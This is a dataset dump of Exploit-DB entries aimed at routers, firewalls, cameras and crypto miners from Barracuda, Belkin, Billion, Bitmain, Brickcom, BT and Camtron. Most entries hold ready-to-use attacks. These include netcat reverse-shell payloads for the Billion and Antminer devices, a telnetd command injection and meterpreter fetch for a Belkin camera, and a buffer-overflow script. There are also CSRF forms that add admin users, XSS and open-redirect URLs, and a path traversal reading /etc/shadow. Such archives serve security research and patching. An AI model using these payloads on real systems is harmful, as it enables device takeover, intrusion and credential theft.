deardaniel/secdata-raw huggingface dataset:
Exploit-DB #37512
Description: Barracuda SSL VPN - 'launchAgent.do?return-To' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2012-07-18
Author: Benjamin Kunz Mejri

Exploit:
source: https://www.securityfocus.com/bid/54593/info

Barracuda SSL VPN 680 is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Barracuda SSL VPN 680 versions prior to 2.2.2.203 are vulnerable. 

www.example.com/launchAgent.do?launchId=l3ce418&returnTo=[NON-PERSISTENT SCRIPT CODE!]
Exploit-DB #38536
Description: Barracuda SSL VPN 680 - 'returnTo' Open Redirection
Type: remote
Platform: hardware
Date: 2013-05-27
Author: Chokri Ben Achor

Exploit:
source: https://www.securityfocus.com/bid/60172/info

Barracuda SSL VPN 680 is prone to an open-redirection vulnerability.

An attacker can leverage this issue by constructing a crafted URI and enticing a user to follow it. When an unsuspecting victim follows the link, they may be redirected to an attacker-controlled site; this may aid in phishing attacks. Other attacks are possible.

Barracuda SSL VPN 680 2.2.2.203 is vulnerable; other versions may also be affected. 

https://www.example.com/launchApplication.do?resourceId=1&policy=1&returnTo=%2FshowApplicationShortcuts.do
https://www.exmaple.com/launchApplication.do?resourceId=1&policy=1&returnTo=http://www.example.com
https://www.exmaple.com/[FILE].do?[RES+ID]=x&[POLICY]=x&returnTo=[EXTERNAL TARGET]
Exploit-DB #39278
Description: Barracuda Web Application Firewall - Authentication Bypass
Type: remote
Platform: hardware
Date: 2014-08-04
Author: Nick Hayes

Exploit:
source: https://www.securityfocus.com/bid/69028/info

Barracuda Web Application Firewall is prone to an authentication-bypass vulnerability.

An attacker can exploit this issue to bypass the authentication mechanism and gain access to the appliance. This may aid in further attacks.

Barracuda Web Application Firewall 7.8.1.013 is vulnerable; other versions may also be affected. 

http://www.example.com/cgi-mod/index.cgi?auth_type=Local&et=[PII_REDACTED]6locale=en_US&[CREDENTIAL_REDACTED]_tab=SECURITY%20POLICIES&secondary_tab=request_limits&user=guest
Exploit-DB #33423
Description: Barracuda Web Application Firewall 660 - '/cgi-mod/index.cgi' Multiple HTML Injection Vulnerabilities
Type: remote
Platform: hardware
Date: 2009-12-19
Author: Global-Evolution

Exploit:
source: https://www.securityfocus.com/bid/37432/info

The Barracuda Web Application Firewall 660 is prone to multiple HTML-injection vulnerabilities.

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

The Barracuda Web Application Firewall 660 firmware 7.3.1.007 is vulnerable; other versions may also be affected.

http://www.example.com/cgi-mod/index.cgi?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_[CREDENTIAL_REDACTED]//www.example.net%20width%3D800%20height%3D800%3E&&user=guest&&[CREDENTIAL_REDACTED]=[PII_REDACTED]&&locale=en_US
Exploit-DB #32582
Description: Belkin F5D8233-4 Wireless N Router (Multiple Scripts) - Authentication Bypass
Type: remote
Platform: hardware
Date: 2008-11-12
Author: Craig Heffner

Exploit:
source: https://www.securityfocus.com/bid/32275/info

The Belkin F5D8233-4 Wireless N Router is prone to multiple vulnerabilities because of a lack of authentication when users access specific administration scripts.

Attackers can exploit these issues to perform administrative functions without authorization.

Belkin F5D8233-4 is vulnerable; other devices may also be affected. 

Enable remote management on port 8080: /cgi-bin/system_setting.exe?remote_mgmt_enabled=1&remote_mgmt_port=8080
Restore the router's default factory settings: /cgi-bin/restore.exe
Reboot the router: /cgi-bin/restart.exe
Log in with the default password": /cgi-bin/login.exe?pws=
Exploit-DB #38495
Description: Belkin F5D8236-4 Router - Cross-Site Request Forgery
Type: remote
Platform: hardware
Date: 2013-04-25
Author: Jacob Holcomb

Exploit:
source: https://www.securityfocus.com/bid/59476/info

Belkin F5D8236-4 Router is prone to a cross-site request-forgery vulnerability.

Attackers can exploit this issue to perform certain administrative actions and gain unauthorized access to the affected device. 

<html> <head> <title>Belkin F5D8236-4 v2 CSRF - Enable Remote MGMT.</title> <!-- Use JavaScript debugging to bypass authentication --> <!--*Discovered by: Jacob Holcomb - Security Analyst @ Independent Security Evaluators --> </head> <body> <form name="belkin" action="http://X.X.X.X/cgi-bin/system_setting.exe" method="post"/> <input type="hidden" name="remote_mgmt_enabled" value="1"/> <input type="hidden" name="remote_mgmt_port" value="31337"/> <input type="hidden" name="allow_remote_ip" value="0"/> </form> <script> function BeLkIn() {document.belkin.submit();}; window.setTimeout(BeLkIn, 0000); </script> <body> </html>
Exploit-DB #4941
Description: Belkin F5D9230-4 Wireless G Plus MIMO Router - Authentication Bypass
Type: remote
Platform: hardware
Date: 2008-01-20
Author: DarkFig

Exploit:
##
## VULNERABILITY:
##
##  Belkin Wireless G Plus MIMO Router F5D9230-4
##  Authentication Bypass Vulnerability
##
##
## AUTHOR:
##
##  DarkFig < gmdarkfig (at) gmail (dot) com >
##  http://acid-root.new.fr/?0:17
##  #acidroot@irc.worldnet.net
##
##
## INTRODUCTION:
##
##  I recently bought this router for my local
##  network (without modem integrated), now I can tell
##  that it was a bad choice. When my ISP disconnects
##  me from internet, in the most case I have to reboot
##  my Modem and the Router in order to reconnect.
##  So I coded a program (which send http packets) to reboot
##  my router, it asks me the router password, and reboots it.
##  One day I wrote a bad password, but it worked. So I
##  decided to make some tests in order to see if there was
##  a vulnerability.
##
##
## DESCRIPTION:
##
##  Apparently when the router starts, it creates a file
##  (without content) named user.conf, then when we go to
##  SaveCfgFile.cgi, the configuration is saved to the file
##  user.conf. But the problem is that we can access to the
##  file SaveCfgFile.cgi without login.
##
##
## PROOF OF CONCEPT:
## 
##  For example we can get the configuration file here:
##  http://<ROUTER_IP>/SaveCfgFile.cgi
## 
##  pppoe_username=...
##  pppoe_password=...
##  wl0_pskkey=...
##  wl0_key1=...
##  mradius_password=...
##  mradius_secret=...
##  httpd_password=...
##  http_passwd=...
##  pppoe_passwd=...
##
##
##  Tested on the latest firmware for this product
##  (version 3.01.53). 
##
##
## PATCH:
##  
##  Actually (08-01-19) there is no firmware update, but I
##  contacted the author, if they'll release a patch, it
##  will be available here:
##  http://web.belkin.com/support/download/download.asp
##  ?download=F5D9230-4&lang=1&mode=
##

# milw0rm.com [2008-01-20]
Exploit-DB #42331
Description: Belkin F7D7601 NetCam - Multiple Vulnerabilities
Type: remote
Platform: hardware
Date: 2017-07-17
Author: Wadeek

Exploit:
# Exploit Title: Belkin NetCam F7D7601 | Remote Command Execution
# Date: 17/07/17
# Exploit Author: Wadeek
# Vendor Homepage: http://www.belkin.com/
# Tested on: Belkin NetCam F7D7601 (WeMo_NetCam_WW_2.00.10684.PVT)
================================================
##
UnsetupMode == [0]
Hard-coded password admin:admin - SetupMode == [1]
##
================================================
##
[1] BusyBox version & Linux version & gcc version >> GET http://[IP]:80/goform/syslog
[1] System version >> GET http://[IP]:80/goform/getSystemSettings?systemModel&systemVersion&brandName&longBrandName
[1] Camera snapshot >> GET http://[IP]:80/goform/snapshot
[1] Camera streaming >> GET http://[IP]:80/goform/video
[101] Disclosure username and password on netcam.belkin.com >> GET http://[IP]:80/goform/apcamMode
[101] Disclosure wifi password >> GET http://[IP]:80/apcam/for-android/aplist.asp
[0] Firmware version >> GET http://[IP]:[49150..49159]/setup.xml
##
================================================
#||
================================================
[0] Network Fingerprinting
##
80/tcp open http
HTTP/1.1 404 Site or Page Not Found
Server: Camera Web Server
<title>Document Error: Site or Page Not Found</title>
<h2>Access Error: Site or Page Not Found</h2>
<p>Page Not Found</p>
&&
[49150..49159]/tcp open UPnP
HTTP/0.0 400 Bad Request
SERVER: Unspecified, UPnP/1.0, Unspecified
<h1>400 Bad Request</h1>
##
================================================
#||
================================================
[1] Wireless Fingerprinting
##
ESSID:"NetCamXXXX"
Encryption key:off
Address: C0:56:27
##
[1] Network Fingerprinting
##
80/tcp open http
HTTP/1.1 401 Unauthorized
Server: Camera Web Server
WWW-Authenticate: Basic realm="Camera Web Server"
<title>Document Error: Unauthorized</title>
<h2>Access Error: Unauthorized</h2>
<p>Access to this document requires a User ID</p>
##
[1] Remote Command Execution
/!/ !/
:~$ curl 'http://[IP]/goform/SystemCommand?command=telnetd%20-l%20/bin/sh' -H 'Authorization: Basic YWRtaW46YWRtaW4='
:~$ telnet [IP] 23
upload by FTP # ftpput -v -u [USERNAME] -p [PASSWORD] -P [PORT] [IP] [REMOTE-FILENAME] [LOCAL-FILENAME]
upload by TFTP # tftp -p -r [LOCAL-FILENAME] [IP] [PORT]
download by TFTP # tftp -g -r [REMOTE-FILENAME_ELF_32-bit_LSB_executable_MIPS || linux/mipsle/meterpreter/reverse_tcp] [IP] [PORT]
/!/ !/
================================================
Exploit-DB #35184
Description: Belkin N750 - 'jump?login' Remote Buffer Overflow
Type: remote
Platform: hardware
Date: 2014-11-06
Author: Marco Vaz

Exploit:
"""
Source: https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/

A vulnerability in the guest network web interface of the Belkin N750 DB Wi-Fi Dual-Band N+ Gigabit Router with firmware F9K1103_WW_1.10.16m, allows an unauthenticated remote attacker to gain root access to the operating system of the affected device. The guest network functionality is default functionality and is delivered over an unprotected wifi network.

Successful exploitation of the vulnerability enables the attacker to gain full control of the affected router.

"""
#!/usr/bin/python
#Title : Belkin n750 buffer overflow in jump login parameter
#Date : 28 Jan 2014
#Author : Discovered and developed by Marco Vaz <mv@integrity.pt>
#Testd on: Firmware: 1.10.16m (2012/9/14 6:6:56) / Hardware : F9K1103 v1 (01C)

import httplib

headers = {}
body= “GO=&jump=”+ “a”*1379 +”%3b”+ “/usr/sbin/utelnetd -d” +”%3b&pws=\n\n”
conn = httplib.HTTPConnection(“192.168.169.1″,8080)
conn.request(“POST”, “/login.cgi”, body, headers)
response = conn.getresponse()
data = response.read()
print data
Exploit-DB #38164
Description: Belkin Wireless Router - Default WPS PIN Security
Type: remote
Platform: hardware
Date: 2013-01-03
Author: ZhaoChunsheng

Exploit:
source: https://www.securityfocus.com/bid/57128/info

Belkin Wireless Router is prone to a security vulnerability that may allow attackers to generate a default WPS PIN.

Successfully exploiting this issue may allow attackers to generate the default WPS PIN. This may lead to other attacks.

Belkin N900 F9K1104v1 is vulnerable; other versions may also be affected.

@author       : e.novellalorente@student.ru.nl
Original work : ZhaoChunsheng 04/07/2012
 
'''
 
import sys
 
VERSION    = 0
SUBVERSION = 2
 
def usage():
    print "[+] WPSpin %d.%d " % (VERSION, SUBVERSION)
    print "[*] Usage : python WPSpin.py 123456"
    sys.exit(0)
 
def wps_pin_checksum(pin):
    accum = 0
 
    while(pin):
        accum += 3 * (pin % 10)
        pin /= 10
        accum += pin % 10
        pin /= 10
    return  (10 - accum % 10) % 10
 
try:
    if (len(sys.argv[1]) == 6):
        p = int(sys.argv[1] , 16) % 10000000
        print "[+] WPS pin is : %07d%d" % (p, wps_pin_checksum(p))
    else:
        usage()
except Exception:
    usage()
Exploit-DB #40472
Description: Billion 7700NR4 Router - Remote Command Execution
Type: remote
Platform: hardware
Date: 2016-10-06
Author: R-73eN

Exploit:
# Title : Billion Router 7700NR4 Remote Root Command Execution
# Date : 06/10/2016
# Author : R-73eN
# Tested on: Billion Router 7700NR4 
# Vendor : http://www.billion.com/
# Vulnerability Description:
# This router is a widely used here in Albania. It is given by a telecom provider to the home and bussiness users.
# The problem is that this router has hardcoded credentials which "can not be changed" by a normal user. Using these 
# credentials we don't have to much access but the lack of authentication security we can download the backup and get the admin password.
# Using that password we can login to telnet server and use a shell escape to get a reverse root connection.
# You must change host with the target and reverse_ip with your attacking ip.
# Fix:
# The only fix is hacking your router with this exploit, changing the credentials and disabling all the other services using iptables. 
#

import requests
import base64
import socket
import time

host = ""
def_user = "user"
def_pass = "user"
reverse_ip = ""
#Banner
banner = ""
banner +="  ___        __        ____                 _    _  \n"
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner


# limited shell escape
evil = 'ping ;rm /tmp/backpipe;cd tmp;echo "mknod backpipe p && nc ' + reverse_ip  + ' 1337 0<backpipe | /bin/sh 1>backpipe &" > /tmp/rev.sh;chmod +x rev.sh;sh /tmp/rev.sh &'

def execute_payload(password):
	print "[+] Please run nc -lvp 1337 and then press any key [+]"
	raw_input()
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((host,23))
	s.recv(1024)
	s.send("admin\r")
	a= s.recv(1024)
	time.sleep(1)
	s.send(password +"\r")
	time.sleep(1)
	s.recv(1024)
	s.send(evil + "\r")
	time.sleep(1)
	print "[+] If everything worked you should get a reverse shell [+]"
	print "[+] Warning pressing any key will close the SHELL [+]"
	raw_input()




r = requests.get("http://" + host + "/backupsettings.conf" , auth=(def_user,def_pass))
if(r.status_code == 200):
	print "[+] Seems the exploit worked [+]"
	print "[+] Dumping data . . . [+]"
	temp = r.text
	admin_pass = temp.split("<AdminPassword>")[1].split("</AdminPassword>")[0]
#	print "[+] Admin password : " + str(base64.b64decode(admin_pass)) + " [+]"
	execute_payload(str(base64.b64decode(admin_pass)))
else:
	print "[-] Exploit Failed [-]"
print "\n[+] https://www.infogen.al/ [+]\n\n"
Exploit-DB #44779
Description: Bitmain Antminer D3/L3+/S9 - Remote Command Execution
Type: remote
Platform: hardware
Date: 2018-05-27
Author: CorryL

Exploit:
# Exploit Title: Bitmain Antminer D3, L3+, and S9 devices allow Remote Command Execution
# Google Dork: N/A
# Date: 27/05/2018
# Exploit Author: Corrado Liotta
# Vendor Homepage: https://www.bitmain.com/
# Software Link: N/A
# Version: Antminer - D3, L3+, S9, and other
# Tested on: Windows/Linux
# CVE : CVE-2018-11220

#Description

The software used by the miners produced by the bitmain (AntMiner) is
affected by a vulnerability of remote code execution type, it is possible
through the "Retore Backup" functionality of the administration portal to
execute commands on the system. This would allow a malicious user with
valid credentials to access the entire file system with administrative
privileges.

#POC

Login on Antminer Configuration Portal (Default Credential: root/root)

1) Create a file named:

restoreConfig.sh

2) insert inside:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc your_ip your_port
>/tmp/f

3) Generate archive by inserting the file created before:

Exploit.tar

4) Launch net cat and upload file:

nc -vv -l -p port

system --> upgrade --> upload archive
Exploit-DB #38582
Description: Brickcom Multiple IP Cameras - Cross-Site Request Forgery
Type: remote
Platform: hardware
Date: 2013-06-12
Author: Castillo

Exploit:
source: https://www.securityfocus.com/bid/60526/info

Brickcom multiple IP cameras are prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions and gain access to the affected application. Other attacks are also possible.

Brickcom cameras running firmware 3.0.6.7, 3.0.6.12, and 3.0.6.16C1 are vulnerable; other versions may also be affected. 

<html>
<body>
<form name="gobap" action="http://xx.xx.xx.xx/cgi-bin/users.cgi"; method="POST">
<input type="hidden" name="action" value="add">
<input type="hidden" name="index" value="0">
<input type="hidden" name="username" value="test2">
<input type="hidden" name="password" value="test2">
<input type="hidden" name="privilege" value="1">
<script>document.gobap.submit();</script>
</form>
</body>
</html>
Exploit-DB #30740
Description: BT Home Hub 6.2.2.6 - Login procedure Authentication Bypass
Type: remote
Platform: hardware
Date: 2007-11-05
Author: David Smith

Exploit:
source: https://www.securityfocus.com/bid/26333/info

BT Home Hub is prone to an authentication-bypass vulnerability.

An attacker could exploit this issue to gain unauthorized access to the affected device.

BT Home Hub firmware 6.2.2.6 is vulnerable; other versions may also be affected. 

This exploit allows you to access most pages on a BTHomeHub Router, without needing to know the password. It has been tested to work with firmware version 6.2.2.6.

<form>
<input type="button" value="Download Current Router Configuration"
onclick="window.open('http://bthomehub.home/cgi/b/backup/user.ini/bthomehub-config')">
</form>

<form>
<input type="button" value="Wireless Configuration Page"
onclick="window.open('http://bthomehub.home/cgi/b/_wli_/cfg/djfkhfd')">
</form>

<form>
<input type="button" value="Wireless Security Configuration Page"
onclick="window.open('http://bthomehub.home/cgi/b/_wli_/seccfg/dbddfbdb')">
</form>

<form>
<input type="button" value="Wireless Repeater Configuation Page"
onclick="window.open('http://bthomehub.home/cgi/b/_wds_/cfg/fjfgfgh')">
</form>

<form>
<input type="button" value="Telephony Configuration Page"
onclick="window.open('http://bthomehub.home/cgi/b/_voip_/cfg/fhfjhgg')">
</form>
<form>
<input type="button" value="IP Addresses Configuration Page"
onclick="window.open('http://bthomehub.home/cgi/b/intfs/_intf_/cfg/dgdgdg')">
</form>

<form>
<input type="button" value="Devices Configuration Page"
onclick="window.open('http://bthomehub.home/cgi/b/devs/cfg/fefefef')">
</form>

<form>
<input type="button" value="Firewall Configuration Page"
onclick="window.open('http://bthomehub.home/cgi/b/secpol/cfg/fjfjhfj')">
</form>

<form>
<input type="button" value="Reset Router"
onclick="window.open('http://bthomehub.home/cgi/b/info/reset/gegegee')">
</form>

<form>
<input type="button" value="Restart Router"
onclick="window.open('http://bthomehub.home/cgi/b/info/restart/fhfjhgg')">
</form>

<form>
<input type="button" value="Remote Assistance Configuration Page"
onclick="window.open('http://bthomehub.home/cgi/b/ras/fjgfgfgh')">
</form>

<form>
<input type="button" value="Backup and Restore Configuration Page"
onclick="window.open('http://bthomehub.home/cgi/b/bandr/fjgfgfgh')">
</form>

<form>
<input type="button" value="Home Network Page"
onclick="window.open('http://bthomehub.home/cgi/b/lan/fjgfgfgh')">
</form>

<form>
<input type="button" value="Phone Logs Page"
onclick="window.open('http://bthomehub.home/cgi/b/_voip_/stats/dhjfhdfjh')">
</form>
Exploit-DB #24230
Description: BT Voyager 2000 Wireless ADSL Router - SNMP Community String Information Disclosure
Type: remote
Platform: hardware
Date: 2004-06-22
Author: Konstantin V. Gavrilenko

Exploit:
source: https://www.securityfocus.com/bid/10589/info

BT Voyager 2000 Wireless ADSL Router is reported prone to a sensitive information disclosure vulnerability.

It is reported that 'public' SNMP MIB community strings which, are world readable by default contain sensitive information pertaining to the internal protected network.

Data collected by exploiting this vulnerability may be used in further attacks against the victim network. 

root@abyrvalg:~# snmpwalk -v 1 -c public 192.168.1.1
SNMPv2-MIB::sysDescr.0 = STRING: BT Voyager 2000 Wireless ADSL Router
SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.2535.111.6
SNMPv2-MIB::sysUpTime.0 = Timeticks: (260430184) 30 days, 1:02:01.84
[snip]
SNMPv2-SMI::transmission.23.2.3.1.5.5.1 = STRING:
"name.surname@btbroadband.com"
SNMPv2-SMI::transmission.23.2.3.1.5.6.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.7.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.8.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.9.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.10.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.11.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.12.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.2 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.3 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.4 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.5 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.6 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.7 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.8 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.5.1 = STRING: "password"
[snip]
Exploit-DB #2034
Description: BT Voyager 2091 (Wireless ADSL) - Multiple Vulnerabilities
Type: remote
Platform: hardware
Date: 2006-07-18
Author: Adrian _pagvac_ Pastor

Exploit:
BT Voyager 2091 (Wireless ADSL) Multiple Vulnerabilities

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/2034.tgz (07182006-btvoyager.tgz)

# milw0rm.com [2006-07-18]
Exploit-DB #15505
Description: Camtron CMNC-200 IP Camera - Directory Traversal
Type: remote
Platform: hardware
Date: 2010-11-13
Author: Trustwave's SpiderLabs

Exploit:
Finding 2: Directory Traversal in Camera Web Server
CVE: CVE-2010-4231

The CMNC-200 IP Camera has a built-in web server that
is enabled by default. The server is vulnerable to directory
transversal attacks, allowing access to any file on the
camera file system.

The following example will display the contents of
/etc/passwd:

GET /../../../../../../../../../../../../../etc/passwd
HTTP/1.1

Because the web server runs as root, an attacker can read
critical files like /etc/shadow from the web-based
administration interface. Authentication is not required for
exploitation.

Vendor Response:
No response received.

Remediation Steps:
No patch currently exists for this issue. To limit exposure,
network access to these devices should be limited to authorized
personnel through the use of Access Control Lists and proper
network segmentation.